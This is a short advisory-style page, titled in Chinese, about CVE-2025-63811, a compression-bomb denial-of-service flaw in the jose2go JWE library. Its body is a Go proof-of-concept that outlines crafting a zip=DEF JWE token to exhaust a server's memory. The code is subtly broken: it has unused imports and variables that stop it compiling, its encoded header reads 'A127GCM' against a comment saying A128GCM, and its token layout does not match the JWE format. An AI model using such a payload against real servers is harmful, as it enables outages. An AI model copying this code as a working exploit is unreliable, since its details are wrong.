CVE-2025-63811: jose2go库高压缩比JWE Token拒绝服务漏洞

// CVE-2025-63811 PoC - Compression Ratio DoS for jose2go // This PoC generates a JWE token with extremely high compression ratio package main import ( "encoding/base64" "fmt" "strings" ) func main() { // Create a compression bomb payload // A small compressed payload that expands to huge size when decompressed // This exploits the DEFLATE compression in JWE // Generate payload that decompresses to ~10MB of repeated data smallPayload := strings.Repeat("A", 10) // Small input // In real attack, this would be compressed with DEFLATE // The key is: compressed_size << decompressed_size // JWE Token Structure: // Protected Header (with alg=A128KW, enc=A128GCM, zip=DEF) header := map[string]interface{}{ "alg": "A128KW", "enc": "A128GCM", "zip": "DEF", // Enable DEFLATE compression } // For demonstration, show the attack concept // Actual exploitation requires: // 1. Craft JWE with zip=DEF header // 2. Compress payload with maximum ratio // 3. Send to vulnerable jose2go version fmt.Println("CVE-2025-63811 Attack Concept:") fmt.Println("1. Attacker crafts JWE token with high compression ratio") fmt.Println("2. Sends malicious JWE to target application") fmt.Println("3. jose2go decompresses payload without size limits") fmt.Println("4. Server memory exhaustion leads to DoS") // Example malicious JWE structure maliciousJWE := "eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI3R0NNIiwiemlwIjoiREVGIn0." + "BASE64_ENCODED_KEY." + "COMPRESSED_BOMB_PAYLOAD." + "BASE64_ENCODED_IV" fmt.Printf("\nMalicious JWE Token: %s\n", maliciousJWE) fmt.Println("\nImpact: Server resource exhaustion, DoS") }